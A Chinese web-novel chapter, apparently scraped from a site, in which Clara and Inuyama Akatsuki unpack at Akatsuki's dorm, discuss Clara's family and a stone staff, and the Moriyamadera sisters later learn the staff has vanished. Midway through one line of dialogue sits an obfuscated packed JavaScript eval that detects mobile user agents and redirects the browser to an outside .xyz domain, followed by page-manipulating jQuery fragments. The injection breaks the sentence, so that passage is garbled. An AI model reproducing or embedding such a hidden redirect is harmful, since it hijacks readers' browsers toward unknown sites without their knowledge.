车辆停在街角,二人下车,克拉拉让犬山晓等在车边看着,别让人把车窗给砸了。 不一会,犬山晓就看见克拉拉拎着根什么东西向她走来,那正是一直躺在克拉拉实验室医疗区的石杖。 “…你就这样把它拎着走在大街上吗?”犬山晓问,“还是说这个东西终于被你研究坏了?” “先说好,它的异常情况大概率是与我的研究行为无关的。”克拉拉把石杖也扔进了车后座,“前天凌晨的时候医疗舱就一直报错说压力值不对,这样下去这玩意真得坏,虽然就魔法而言我不知道发生了什么,但这几天我在给它研究个新容器。设计已经差不多了,内部链接还得再跑两遍。” “所以才要去你公寓搬那些东西啊。”犬山晓点了点头,“不过你居然把自己住的地方当作仓库来用吗,这可不太好,那些仪器会对睡眠质量有影响的吧。” “你是不是又看奇怪的电波产品推销视频了?”克拉拉质疑道,“我睡眠质量好得很,赶紧上车吧,今天我还没睡过觉呢。” 无从反驳的犬山晓没话好说,再次坐上了副驾驶。 “往日之森开就行了吧?”克拉拉问道。 “对,就在主入口对面。”犬山晓一边系安全带一边点头,“不过停车得停校区里面,你之前来过的话知道怎么停车吧?” 车辆行驶上车道,缓缓前进。 “知道。”克拉拉踩下了油门,“这种感觉还真神奇,有种送你去上学的即视感。” “是吗?哈哈哈——”犬山晓听了后忍不住笑了,“我们学校大多数学生都是自己上下学的,好像无论在哪都是这样的学生更多一些。也有家里人开车接送的,小学生的话会有家里人走路来接送呢。” “怎么?你羡慕有家里人走路来接送的吗?”克拉拉挑了挑眉,“我以为日之森这种学校的学生都更看重排场一点,会有学生下车前需要铺红地毯吗?” “为什么要铺红地毯?是什么风俗吗?我没见过我们学校有这种。”犬山晓摇了摇头,“但是开车的话就是在目的地间穿行,走路的话就可以去很多地方看看了。” “哇,这说法可太高中生了。”克拉拉感叹道,“我年轻时高中是在那种山沟里的学校读的,对这样的放学后生活想都不敢想啊。” “山沟里的学校?那是什么样的?”犬山晓想了想,发现想象不出来,“那不就根本不可能自己走路回家了吗?” “就是那种把你关起来学好了再放出来的无聊设备啊。”克拉拉不屑地说,“何止不能走路回家,起雾的时候进校车道还有可能会撞到鹿什么的,恐怖得很。” “…感觉很糟糕。”犬山晓联想到了不好的回忆。 “你肯定又在想一些很奇怪的东西了,别把我套进去啊。”克拉拉笑了笑,“你要知道我这样的人在哪都能活得精彩,哪怕在山沟里也是一样的。” “在这方面我从来不怀疑你。”犬山晓也笑了,“那下次一起出去玩吧?我们学校北边有个广场,那里有好多本地小商店,卖各种奇怪的东西。” “听上去还挺有意思的。”克拉拉若有所思,“不过我们两个出门的话无论怎么看年龄差都太大了吧?而且人种也不同,如果被人问起来的话拜托你别说我是人贩子好吗?” “你确实是能做出这种事的人。”犬山晓想了想说,“不过差距的话也就仅限于外表吧,我们年龄差距应该没有你想象中的那么大才对。” “你说话和生活的方式让说是我奶奶我都信,都说老年人睡的少,你或许就是其中翘楚。”克拉拉觉得对方在开玩笑,“不对,我奶奶说话可比你快多了。” 说到这,犬山晓不免有些好奇起了克拉拉的家人,先前对方从未主动说起过这方面的事情,她也从来不问。但现在或许就是一个聊起家里人的好时候。 “你这么久以来有和你的奶奶联系过吗?”犬山晓问道。 “她去世前给我打电话了。”克拉拉说,“精神得很,净挑我不想听的话说。” “…抱歉。”犬山晓愣了愣。 “道歉什么?不是说了她一直在骂我吗?”克拉拉表现得并不在乎这件事,“以前她就老喜欢骂我们这些小辈,没想到走之前还要特地打电话过来骂我。” 听到这里,犬山晓的心里却是羡慕的。 “如果是家里人特地打电话过来的话,即使是骂人也没关系吧。”犬山晓说。 “…这样吗?”克拉拉说。 这样的回复让犬山晓意识到自己或许说了不太对的话,每个人家里的情况都不一样,她想自己不应该以自己的想法去判断别人家人间的关系。 “你肯定又在想,我是不是说错话了,什么的吧?”克拉拉毫不犹豫就拆穿了犬山晓沉默的表象,“在你眼里我是这么脆弱的人吗?放心,我清楚得很,那老家伙就是放心不下我,我还能不知道她脑子里在想什么吗?小时候她看我一眼我就知道会被怎么骂。” “哈哈。”被拆穿的犬山晓却笑了,“是这样吗?原来你们关系挺好的呀。” “毕竟我是她最聪明的那个孙子嘛。”克拉拉理所当然地说,“她对最聪明的那个家族后代多关照一些不是理所应当的吗?” 克拉拉这样说,犬山晓却并不这样想。就她对克拉拉的理解来说,那位老人家八成并不是因为克拉拉的聪明而关照她的,而是对她做事不顾未来这一点放心不下吧。 “她是怎么说的?”犬山晓问道。 “没什么特别的事情,就说在外面别给家里丢人,做事前多考虑一下未来,不能只考虑自己的事情什么的。”克拉拉嗤之以鼻,“我现在就只有自己的事情需要考虑,她不会以为我还在考虑回家发展什么的吧?” 但犬山晓意识到这其中一定是有大量删减部分的,因为她知道克拉拉在私事上只喜欢听自己想听的话,也只记住那些。 “或许是希望你考虑一下自己的未来,什么的吧?”犬山晓不确定地说,“即使你不回家,你的奶奶也会担心她离开后你的未来该怎么办的。” “我这样的人在哪里都会活得很好!”克拉拉坚持己见,“你倒是和我奶奶共情上了啊小犬山,我才是你的监护人吧?” “你也就在帮我交文件和签字的时候像我的监护人了。”犬山晓想了想,补充说,“开车的时候也算吧。” 监护人克拉拉帅气地倒车入库,一气呵成。二人下车,平地上推行行李箱不需要费太大的力气,二人迅速地就将东西带进了日之森宿舍公寓楼。 在等待犬山晓开门的时间里,克拉拉莫名有些紧张,她将这种紧张定性为自己对学生时代集体活动前氛围的移情,也就是说她被宿舍氛围感染了。 但公寓门打开后,克拉拉就意识到了,这绝不仅仅是宿舍,这是犬山晓自己选择,自己布置的,是她自己的家。房屋里的每一处细节上都有其主人考量过的痕迹,每个物件的出现都有迹可循,她甚至可以想象犬山晓是出于什么情况下买下那些东西,又摆在那里的。 比起她自己那个仓库一样的顶层公寓,这个校园宿舍公寓更像是一个居所。意识到这一点的克拉拉不免产生了一些挫败感,但她又意识到这种幼稚的感觉不该出现。 这些细致的感情变化就不是犬山晓能感受到的了,她将行李箱推进了客厅,从鞋柜里翻出来了新的拖鞋放在地上,又帮克拉拉把她手上的白大褂外套挂在了玄关衣架上。 “愣在那里干什么?”犬山晓感到奇怪地问。 “没什么,就是感觉你把宿舍布置的还挺好的。”克拉拉说着也走进门了。 “这样吗?谢谢!”犬山晓听见自己的品味被夸赞了感到很开心。 于是克拉拉也就将那些奇怪的情绪抛之脑后了,她自得地踏进了玄关,并肆意地打量起了屋内的一切。犬山晓向她介绍屋内的设施,克拉拉看着开着的阳台门,有些疑惑。 “这里刚装修完毕吗?还要靠开窗散甲醛?”克拉拉问道。 “不是啦。”犬山晓想了想,说道,“艾克里普的事务所因为一些事情消失了,我和她说了晚上没地方去可以来这里待着,就一直开着窗台的门。” “消失了?”克拉拉挑了挑眉,也没太纠结于其中的逻辑,“你经常这样随便邀请别人来你屋子里玩吗?看不出来你还是派对爱好者嘛。” “那是什么?我只会邀请我信任的人来这里做客。”犬山晓摇了摇头。 “哦,这样吗?”克拉拉推了推眼镜。 犬山晓接着给克拉拉介绍屋子里的一切,考虑到对方也要在这里住,她将功能区介绍得尤其详细。随即二人将行李箱里的东西搬了出来,部分摆放在客厅里,包括那根石杖。 蹲在地上看着那根石杖,犬山晓又担心起了艾克里普。 “这根石杖后续有什么新的研究成果吗?”犬山晓转头去问克拉拉。 “确实有一些。”克拉拉不知道该怎么说,又该说什么,“这根石杖确实能在特定的情况下展现一些画面,那些画面有没有用还不好说。但现在它变成这样,原因未知,但我本人不推荐对后续良好的发展抱有乐观态度。” “这到底是什么呢?”犬山晓碰了碰石杖,没有感受到什么。 “魔法杖?你们魔法少女不都应该有这种神奇魔法武器吗?”克拉拉问。 “那它总得有个主人吧,怎么就被你研究了这么久都没人来找呢?”犬山晓看向了克拉拉。 “是在控诉我是个二道贩子吗?”克拉拉摆了摆手,“这玩意的主人肯定就是你那位叫艾克里普的朋友,上次她自愿让我保管的,可不能说我违背该物品的个人意愿哦。” “是艾克里普的吗?”犬山晓非常惊讶。 “大概是因为拿出去了会祸害到周围的人,所以一直放我这了。”克拉拉点头,一边说着一边捣鼓从行李箱里翻出来的工具箱,客厅地面以肉眼可见的速度被覆盖上了各种物品,犬山晓看不过去了便上前帮着一起整理。 “你一开始是怎么得到这个的来着?”犬山晓想了想,明白了过来,“我记得是伊提阿姨,也就是你的老师给你的,她现在又怎么样了呢?” “…在这座城市,失踪和死亡基本上是同一个意思吧。”克拉拉沉默了一会说,“2013年的时候,我收到了她的包裹,里面装着的就是这玩意。” “伊提阿姨她和你说了什么吗?”犬山晓比较在意这个。 “她什么也没说。”克拉拉嘴角牵着笑了笑,“她什么也没说,我就为了这个玩意跑来这里建了个研究空间,还跨专业开始研究手术器械。” “那不就证明了你很了解她吗?”犬山晓若有所思,“你理解了她的意思,也继承了她的研究,即使是在没有对话的情况下。” “别说的这么肉麻!”克拉拉郑重纠正道,“我可不能算是有多了解她,而且有一定概率不按照她说的那些去做,这是我自己的选择。” “那就是她足够了解你了,毕竟她说了,让我们来找你。”犬山晓头也不抬地收拾看不出用来做什么的奇怪扳手,“没想到我很早以前就找到你,现在又找到了她们,时间真是神奇的东西。” “…是啊。”克拉拉顿了顿,叹了口气,“时间真是神奇的东西,不如下个研究项目就定为这个好了,虽然物理学的东西我了解的不多吧。” “你未来打算继续当研究员吗?”犬山晓好奇地看向和她一起在地上收拾东西的克拉拉,二人一同工作,一同谈论未来,这是她过去不曾设想的画面。 但此时,有风从窗外流进空间,于是房间与城市流通了起来,共同呼吸。 “…说真的,我不知道,小犬山。”克拉拉停下了手中的动作,她说话难得慢了下来,似乎说出这些话对她来说是需要很郑重的思考的,“你觉得呢?我未来可以去做什么?” 话说出口,克拉拉就觉得自己脑子出问题了,她才是眼前这个高中生的监护人,一个成年人怎么能去询问一个连未来职业志愿都可能没有填过的高中生,自己的未来会是什么样的?她想要开个玩笑把这件事糊弄过去,抬头却发现,犬山晓正在非常认真地思考。 是啊,这是个连玩笑话都会认真考虑的人啊,克拉拉意识到了这一点,又产生了一些期待。她期待这个曾经和山里的野兽只有外表不同,现在却能在人类社会中建立起自己的家的,拥有魔法的孩子,能告诉她什么样的答案。 “我还是觉得,我没办法告诉你一个答案,这件事还是得你自己去想吧。”犬山晓想起了启明星说的话,认为自己没有能力去指导克拉拉。 “哈哈,当然啦!”克拉拉这样说着笑了,心里觉得这样就好了。 当然没人能指导她的未来该如何做,该是个什么样的人,她是什么样的人都无所谓,因为她这样的的人在哪里都可以活得下去,在哪里都可以获得成功。接下来是去研究物理学也好,接着研究这根石杖也好,亦或者真的去开启一段环球旅行也好,怎样都好。 “但是,我觉得你可以先回家里看看。”犬山晓说。 “…回家?”克拉拉重复了这个词,太过陌生了,以至于她的唇齿都不记得该如何蠕动。 “你没能去见你的奶奶最后一面吧,但是我认为,如果你的奶奶都那样说了,那你就已经有足够的理由可以回去看看了。”犬山晓慢慢地解释着自己的想法,“哪怕只是回去看看,和家里人说几句话,第二天早上就走也好,我认为你该回家一趟。” “打住,没有这个必要。”克拉拉果断地打断了犬山晓的解释,声音十分冷静,“小犬山,每个人的家情况不一样这句话还是你自己说的吧?那我现在明确地告诉你 ,我们家就是最不一样的那部分了。” 克拉拉直起了上半身,不良的体态没有掩盖住她举手投足间的自得,那双森冷的绿色瞳孔直直地从杂乱的金发中探出视线时,被观察者都会意识到自己似乎正被某种无机物紧盯着。 “不是每个人都和自己的家人有联系的,我的家族亲缘树下的每一张照片都代表着一个独立的个体,以自己的方式展现家族的荣誉,我也如此。所以我的奶奶去世前责骂我时,不仅是在关照我,也是在警告我时刻谨记家族荣誉。只要我还活着,我还有足够的能力去获得成功,我就没有回家的必要。”克拉拉说,“而我本人也没有这个意愿,我与家族继承人,也就是我大哥关系可不亲近,我离家前打了他一顿。” 犬山晓沉默地听着,神色讶异。 “原来你们家有这么多人啊,都有一棵树了。”她感叹道。 “…这不是问题所在吧?”克拉拉觉得自己解释得够多了,“总之,我不可能回去的。” “怎么不可能呢?你作为研究人员可不能这么说话吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808014|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”犬山晓摇了摇头,“我不是说了吗?你的奶奶给你打电话,你现在已经有合理的理由回去一趟了。” “有理由我就非得用吗?”克拉拉皱着眉问道,“她给我打电话可不一定预料得到有人会拿这通电话记录作为回自己家的门票啊。” “你问我,未来可以做什么,我的回答就是你可以先回家一趟。”犬山晓摇了摇头,“这不是一个选择,而是一个可以考虑的理由,克拉拉。你当然可以不回去的,但是现在我告诉你,你还有这么一个方向可以去看看。” 犬山晓了解克拉拉,她是一个需要足够的理由才能做些什么的人。 “这样解释的话为什么这个方向不是别的地方?去这里的大学应聘教授都比回家这个选择要好吧?”克拉拉不满地说。 “那也可以?”犬山晓有些意外克拉拉提出了与启明星相似的未来计划,“你去哪里都可以的吧,你这么聪明。而且无论你去哪里,我都会是你的朋友,在这里等你的。” 与克拉拉不同,犬山晓把话说的真挚直白,把思考的过程放在心里。 就像她自己提出的那样,回家只是一个可有可无的,只是存在于那里可以随时被接取的支线任务而已。犬山晓所做的事情不过是把这个支线任务放进了从来不做支线的克拉拉的任务清单中而已,做与不做是自己的意愿。 在犬山晓看来,有家可回这件事就足以令她羡慕克拉拉的人生了。从之前的事件中,犬山晓意识到只要与人对话,那么二人就会产生联系。那么她也同样相信若是克拉拉能与自己的家人之间进行更多对话,她就也能与那棵家族亲缘树上的其它枝桠上的照片所代表的人产生更多联系,而不仅仅是只靠着血缘。 更何况克拉拉自己说的,血缘决定了她该去成为一个有所作为的人,那么她便一定是在乎自己作为家族的一员的身份的。犬山晓认为克拉拉现在已经足够有所作为了,那么她就应该回家看看,去告诉自己的家人自己这几年过的如何,去说自己已经成为了一个大人了。 然后,犬山晓相信,无论那位被克拉拉打了一顿的大哥是否记仇,他都一定不得不承认自己的妹妹已经拥有了完整的能力去走接下来的路,是一个不会给家里丢人的家人了。 随后,那通内容已然被模糊了的来电便会有了意义。 当然,若是克拉拉选择不这样做,那犬山晓就会作为朋友一直待在她身边,并且以有规律可循的次数提醒克拉拉这个支线任务的存在的。 “…这样吗。”克拉拉愣了愣,她看向帮她收拾东西的犬山晓,忽然为自己一开始进入这个屋子时感到的挫败感到了愧疚,既然这种感情出现了那么她就应该去重视才对,任何细小的差错最终都会导向结果中的错误,她应该早就知道这一点才对。 于是克拉拉在注意到这件事的同时就明白了另一件事,也就是比起不合格的监护人,自己或许更应该作为犬山晓的朋友听她说的那些话才对。被监护人所说的话可以当作是儿戏,但若是说这些话的人是她的朋友,是她的同行者,那么她就有了可以听从建议的理由。 于是她终于意识到,自己其实是有朋友的。她的朋友认可她,帮助她,还给予了她建议,说无论她如何选择都会与她站在一起,没有比这更普通,也更好的朋友了吧? “就是这样。”犬山晓点头。 “好吧,好吧。”克拉拉叹了口气,接受了建议,“我会考虑一下的。” 地上的物品大部分被收拾好放在了茶几和沙发上,并没有出现乱到无从下脚的场面。 “好了,把这个在这放着就行,现在我真的需要一定时间的睡眠了。”克拉拉郑重地说,“我会在梦里郑重考虑一下你的提议的。” “辛苦了?”犬山晓有些疑惑,还是嘱咐道,“干净的浴巾在衣柜里面,冰箱里有零食。我一会要出门,回来要给你带食物吗?” “不用,我不知道我什么时候能醒。”克拉拉摆了摆手,随即很不适应地道别了一下,“那么,一会见吧。” “一会见。”犬山晓点了点头,离开了宿舍。 犬山晓出门一趟要做的事有许多,灾后各事务总有人手不够的时候,启明星偶尔也会喊她去支援。除此之外她还会关注艾克里普的事务所的去向,但或许是因为她运气不好的缘故,即使人造魔物和毒品都被搜缴得差不多了,她都没找到与其相关的信息。 夜幕降临,犬山晓返回宿舍准备送克拉拉去实验室,回去的路上她在西部市区南边的密集人口居住区附近的餐馆打包了一些食物,灾后这片区域比起以往来说和平了许多,有社区工作人员自发带领志愿者去绿地中心的医疗帐篷那关怀难民,努力将她们拉回幸福平均线。 接过关心和餐具,犬山晓拎着还冒着热气的包装袋往宿舍走。 一打开宿舍公寓门,犬山晓就不出意外地看到了穿着睡衣把头往冰箱里伸的克拉拉,那里面现在只有她看社交媒体推荐买来的奇怪甜点,并没有正常的食物。 “我带了食物回来。”犬山晓伸出自己抓着食物的右手,热气与香味缭绕,充盈,让房间变得温暖了起来。 “…不得不承认你有先见之明。”克拉拉老实地把冰箱门关上道谢,“多谢了。” “你这幅样子还真是新鲜。”犬山晓说着,发现客厅里所有桌子都放满了东西,就干脆带着食物去了阳台,放在高脚桌上。克拉拉就凑过来坐在她对面的高脚椅上,撑着脑袋打量着阳台陈设。 随着犬山晓把包装袋里的食物全都拿了出来摆在桌面上,克拉拉没有地方可以放自己的胳膊了。 “感谢厚爱,但这总量是否超出预期需求了呢?”克拉拉犹豫地问。 “吃你的吧,这分量是我晚餐的正常分量。”犬山晓把餐具递给克拉拉。 二人一边聊天一边吃晚饭,克拉拉注意到犬山晓频繁提起自己在找事务所的下落,便明白了对方心里还是担心自己的朋友的。 “担心的话打个电话问一下不就好了?”克拉拉一边喝冰咖啡一边问。 “艾克里普现在可能很忙,而且,打电话的话我其实不知道能说什么。”犬山晓有些不好意思,“我不担心她的实力,她也不需要我去担心她的安危问题吧。” “哼哼。”克拉拉咧嘴笑了,“你现在的样子就像是犹豫要不要提前结束观测记录的研究员,又担心之后有新的数据变动,又担心变动真的出现。” “…我也不指望你能说的更通俗易懂一点了。”犬山晓叹了口气,一边收拾垃圾一边说,“我只是担心而已,我相信她的。” “那我说的直白一点好了,你想她的话就可以和她说的吧?”克拉拉穷追不舍。 “…说我想她吗?”犬山晓想了想,更不好意思了,“她当然知道我们会想她的吧,我们是朋友,互相牵挂是很正常的事情,不用特地说的。反倒是你,一直都没有和家里人联系过吧。” “怎么就突然扯上我了!”克拉拉吓了一跳,“你的论点有矛盾,你想她不代表她知道你在想她,难道说那位魔法博士还会远程读心术吗?” “那倒是不会。”犬山晓还是有些犹豫,“可是,可是她如果因为我没能把话说清楚误会了什么,耽误了什么事怎么办呢?” “你想的也太复杂了,不要偏离原意。”克拉拉指正,“那就发短信好了,把文字编辑好再发送出去,她有空了就会看的,然后回复你。” “…你说得对。”犬山晓没有拒绝的理由了,“那你也这么做吧。” “…这算什么,连带责任吗?”克拉拉不满道。 “这个我知道,这个叫同甘共苦。”犬山晓纠正说。 “我没有联系方式!”克拉拉试图回避,“贸然发过去一条‘在吗?’的短信会被认为是准备借钱的,我可不会干出这种事情来。” “那你也把信息编辑好,别只发一句‘在吗?’就等对方的回复了。没有电话难道还没有邮件地址什么的吗?”犬山晓不信对方说的那一套。 “…我确实有。”克拉拉近乎咬碎了吸管,“好吧,那就比比看谁先收到回复好了,反正这个时候我妈八成没睡,不,肯定还在哪个酒庄喝酒呢。” 这样念叨着,克拉拉整个人缩在高脚椅上拿远了手机,仿佛那什么有什么恐怖图片一般。 “你还有妈妈的吗?”犬山晓大为意外。 “不然你以为我和我哥是从哪里来的?他又该从谁的手里继承那些东西?”克拉拉意外与犬山晓的意外,“难不成是我奶奶吗?你不会真的是在想这个吧?” “…好吧,抱歉。”犬山晓不说话了,低下头翻手机。 二人面对面,各自面对自己的手机屏幕,日落后月亮升起,圆润而亮晶晶的,那是满月。 “你发了吗?”克拉拉从手机后面探出镜片反光。 “还在打字。”犬山晓努力试探输入框的上限,“你准备好了就先发送。” “不要。”克拉拉说,收回了视线。 “好了,我准备好了。”犬山晓深呼吸,“我要发出去了,就是现在!” 信息发送,长长的一条信息占满了整个手机屏幕。 “那我也发了。”克拉拉点击发送,随后把手机放在了桌上,发送内容只有一句“在吗?”。 “你不是自己说的这样看上去很像是在借钱吗?”犬山晓质疑道。 “我妈要是真能借我点那也是好事一桩。”克拉拉得意又不好意思地笑了,“消息长了她可能会觉得我邮箱被盗了,然后把这个地址拉入黑名单吧。” 犬山晓无从理解,就也没有话可以说。 空间波动,克拉拉觉得风大了些想回去拿外套,一回头,就发现艾克里普站在那里。 “晓!”艾克里普慌忙走上前,“没事吧?我看到你的消息了,是出什么事了吗?” “艾克里普!”犬山晓欣喜地笑了,又有些不好意思了起来,“我这里没什么意外的,就是,就是克拉拉说我想你了可以给你发消息所以我就发了!” “…是我。”克拉拉在艾克里普的注视下承认了,“好吧,确实是我输了。” “什么输了?”艾克里普有些奇怪,不过她也没有太在意这件事。得知犬山晓并没有出什么大事之后她就松了口气,原本紧绷的神态也放松了下来。 “抱歉,让你跑这么一趟了。”犬山晓还是感到了一些愧疚,“还让你这么担心我。” “没有的事!”艾克里普连忙摆手,“那里和这里都看得到月亮,所以也不是特别远啦。” “不能以这个为基准的吧?好吧,其实也可以?”克拉拉思索了一番。 “对我而言过去和回来也不过是一瞬间,所以不算远。”艾克里普笑了,“不过这样一说,和这么一瞬间相比晓的那段信息反而更消耗时间吧?你平安无事对我而言就是最好不过的报酬,所以不要为此道歉了!” “这样吗?”犬山晓有些感动,“那我得说,见到艾克里普我很高兴,看到你平安无事我也很高兴。因为我从来不怀疑你的强大,但我却做不到放弃去担心你。” “诶,青春。”克拉拉叹了口气,她看着艾克里普,忽然想到了什么,转头回到屋内将那根石杖取了出来,交给了艾克里普。 “这是!”艾克里普非常意外,“现它在已经不会散播魔力了吗?” “确实不再需要特殊的压力环境进行控制了,从今日凌晨开始的。”克拉拉说。 于是艾克里普接过了那根石杖,木头的纹路和她的掌心契合到如同曾经是长在一起的那般,那种熟悉的感觉令她莫名感到了安心。 “非常感谢您一直以来的帮助!不过您不需要继续研究其中内容了吗?”艾克里普问道。 “我接下来可能会转专业,不过无论如何,我有新的打算了。”克拉拉注视着那根石杖,不隔任何屏障的观察下那些纹路非常普通,难以想象她当年为何将其取名为特异点。 “那就恭喜您迈向人生的下一步了!”艾克里普笑着说。 “那我就说一声谢谢吧。”克拉拉扶了扶眼镜。 “确实,无论什么时候开启下一段人生都不能算是晚哦!重要的是选择和坚持呢。” 这样的总结并非出自三人中的任何一位,阳台护栏上不知何时停留了一位新的来客,比鸟雀的声音更小,但一旦投去视线,就无人可以再次忽视她。 那是一个红发,身披无数白色布条连结而成的奇异服饰的陌生人,她的身侧放着一根有半身越出窗台安全范围的金属长棍。而犬山晓与艾克里普能通过那魔力气息判断出此人的身份,毫无疑问的,这是一位魔法少女。 82.Day2-上 2024年4月29日,星期一,天气下雨。 清晨,森山寺未雅的手表震了震,她抬起手腕确认,那是一条来自克拉拉的消息。 “医疗舱的石杖消失了。” “怎么了?”森山寺未央回头看向愣在原地的森山寺未雅。 她们二人正在自家院子里帮忙拆围墙上的摄像头,西部市区的地震没有影响到东部,但森山寺镜使用的摄像头监控系统云储存中心的主机在西部市区的一处公司中,现在因为服务器中断链接而不具备储存功能。 森山寺镜一气之下准备换下这套自房子建成以来就一直使用的监控系统,改为绑定自己研发改装的新监控,但西部市区那边现在派不出人手来拆修旧器械。于是,两位停课的高中生被指使穿着雨衣出门干活。 拆卸并不难,难点在于不破坏那旧得有些脆弱的电线,而且姐妹二人都不觉得那些电线能被暴露在雨水中,于是便准备避开那些鸟屋单独拆卸其中的监控摄像头。 “你记得克拉拉实验室医疗舱里面那根石杖吗?”森山寺未雅说话有些犹豫,她之前并不打算将自己所做的事情告诉森山寺未央,因为这可能会导致一些信赖危机的出现。 但现在,一来她相信自己的妹妹,二来,她感受到了不好的预感,这样的感受联系上她那功能为预测未来的特征魔法,森山寺未雅有理由怀疑,这是一种警示。 “我记得!”森山寺未央当然记得,“也记得那个医疗舱和那台轮椅,发生了什么吗?” “克拉拉说那根石杖消失了。”森山寺未雅顿了顿,说道,“还有一件事。” 森山寺未央发现自己姐姐的表情有些奇怪,那是在犹豫要不要说什么的表情。 “还有什么事?”森山寺未央走到对方的身边,“都告诉我好了,之后我再决定要让你帮我写一学期的作业还是上供你的零花钱。” “想都别想!”森山寺未雅迅速表态,“之前,我们曾经怀疑过接触到那根石杖后看到的世界到底是属于平行时空还是时间回溯,但无论是哪一种,艾克里普都不认可其存在。但我非常在意那个世界与这个世界发生的事的区别,于是我私底下有去找克拉拉进行后续的研究。” “克拉拉居然会在那之后还接着帮忙吗?”森山寺未央非常意外,“我还以为她是那种纯粹喜欢压榨我们的邪恶科学家类型的大人呢,没想到她还是有点好心的。” “她确实是。”森山寺未雅没有否认这一点,“不过我看得出她还挺理想主义的,就利用这一点哄了她一下,效果还不错。” “…你以后也会成为邪恶的大人吧!”森山寺未央迅速意识到了这一点,“好吧,那你们成功了吗?” “…算是成功了吧,阶段性的。”森山寺未雅叹了口气,“你知道两边的世界实际上是同步发生的,也就是说,那里的今天也是2024年4月29号,以后的事情我是看不到的,但以后的事情才是我想看到,想知道的。” “等等!”森山寺未央打断说,“那边的世界发生了什么?不要避开这个话题!” 闻言,森山寺未雅却是笑了。 “好吧,我确实看到了一些,不太一样的东西。”她的声音在雨中有些轻,“我看到了我们在那个世界过的不算好,也看到了一些其它的东西,总之,都不太好。” 森山寺未央一愣,如果森山寺未雅说“烂得要死”那可能是她的主观判断,但若是“不太好”,那就是连她自己也不会觉得好的程度了。 “之后都说给我听吧。”森山寺未央说,“好的与不好的,我都想听。” “当然。”森山寺未雅点头,“不过现在,那根链接着过去或者平行世界的石杖消失了,这件事的原因和后果才是最重要的。” “确实,那根石杖不是和迷药作用差不多吗?”森山寺未央头疼地摸出了手机,“总之我问一下艾克里普知不知道这件事吧。” “嗯嗯,交给你了!”森山寺未雅达到了目的。 电话拨通没多久就被接起了,手机被森山寺未央塞进了雨衣的帽子里,她一边接电话一边拆着摄像头。 “是未央吗?”艾克里普的声音传出听筒,“好久不见!你们那里下雨了吗?” “好久不见艾克里普!”森山寺未央也打招呼说,“我们这里确实在下雨但是我们还是得工作,不对不是这个。总之,克拉拉实验室的那根石杖好像是凭空消失了,你对这方面有什么头绪吗?” 电话另一头的艾克里普愣了愣,随即,布料翻动的声音传出。 “那根石杖在我这里!”艾克里普惊叹道,“而且没有再被动散发魔力了,怎么会突然这样?不过它现在似乎已经没有负面效果了,克拉拉小姐那边有发生什么事吗?” 森山寺未雅摇了摇头。 “没有!不过我们之后会再去问问的!”森山寺未央回答道,“我们学校停课啦,艾克里普知道这件事吗?” “啊,确实!我才看到邮件。”艾克里普回应道,“那我今天应该会接着在这里处理这件事吧——” “砰——”电话那边忽然传来一声枪响。 “…人类还是这么喜欢暴力。”艾克里普的声音冷了一瞬,随即安慰道,“不用担心我,我没有事,不过我得先去处理一下这里的现场了。我们之后见,要注意安全哦!” “哦好——”森山寺未央说着,电话挂断了,她看着破碎的手机屏幕,愣了愣。 她在做什么呢?森山寺未央有些好奇,但选择相信自己的同伴。 “我问一下另外一边。”森山寺未雅用手表拨通了启明星的电话。 “您好,这里是城市临时安全顾问启明星。”启明星很快接起了电话,声音听上去有些疲惫,“早上好,森山寺小姐,请问是出现了什么情况吗?” “我同样是为了问您这个问题才拨打这个电话的。”森山寺未雅将手腕贴在耳朵旁,“储存在克拉拉实验室的石杖因不明原因忽然物归原主,而且不再奏效了,您那边呢?” “…同样如此,物归原主这方面无法断言,但我的视力确实恢复了正常。”启明星顿了顿,接着说,“很遗憾,我现在没有时间去探知其中到底发生了什么。” “我们两个时间倒是多的是。”森山寺未雅叹了口气,她不知道发生了什么,也不知道会发生什么,这样的未知令她那不好的预感存在感愈发膨胀。 “如果你们想做些什么的话,或许可以考虑一下追溯源头。”启明星的电话那边传来了纸张翻动的声音,“这不是答案提示,只是查缺补漏,事到如今我不认为还能有什么新的敌人会蹦出来造成更坏的未来了。但若是你们实在是需要一个调查方向的话,可以考虑去瞭望塔遗迹那边看看。” 上周六后瞭望塔就正式封闭了,因为启明星的指示。在那其中的器械被完全处理前,她不允许任何人靠近其中。 “我尝试拜托晓,但她还没有回复我。”启明星叹了口气,“如果你们作为善良的知情人士愿意帮忙就再好不过了。” “哦哦!交给我们吧!”森山寺未央非常轻易地就被说动了。 “晓没有回复你?”森山寺未雅觉得有些奇怪,“她这个时间都该起床晨练完了才对吧。” “…什么原因都可能存在,但我信任她不会出事。”启明星郑重地说,“我会尝试继续联系她的,但我没有可以找到她的渠道。” “我理解。”森山寺未雅思索了一番,“我明白了,感谢您的建议。” “当然!希望二位注意安全,最近街道大量监控摄像头失效,许多车辆拒绝遵守交通规则,过马路时请小心点哦!”启明星提醒道。 “不仅仅是我们家这里吗?”森山寺未央有些意外,“这家云服务器居然同时服务这么多人,也太敬业了吧!” “那如果我说,大部分所属的服务器主机的储存位置在Evo园区内部建筑内呢?”启明星说着,又叹了口气,“这个城市中超过平均数量的那些摄像头都是白夜社旗下网络相关的仁夜家族负责维护,并由鲸岛建筑进行大面积组装的。现在二位都不回我消息了,维护工作上如此消极怠工的态度可真是愁人啊。” “…原来如此。”森山寺未雅意识到,自己在另一个世界看到的那过于空旷的电线杆其实是正常电线杆该有的模样。 “恶心!好恶心啊!”森山寺未央大惊,拆摄像头的速度又加快了,“那些人到底是有什么变态嗜好啊装这么多摄像头,整天闲着没事就待在监控室看直播是吧?” “这种清闲的工作一般只有关系户才能应聘吧。”森山寺未雅也加快了手里的动作。 “总之,一次性报废或许反而是一次更新的好机会,毕竟减少了前置工作。”启明星的语气完全不像是在庆幸,“二位加油吧,虽然那些天使不复存在,但威胁永远存在。” “记住了!感谢您的帮助。”森山寺未雅顿了顿,“现在该怎么称呼?启明星顾问吗?” 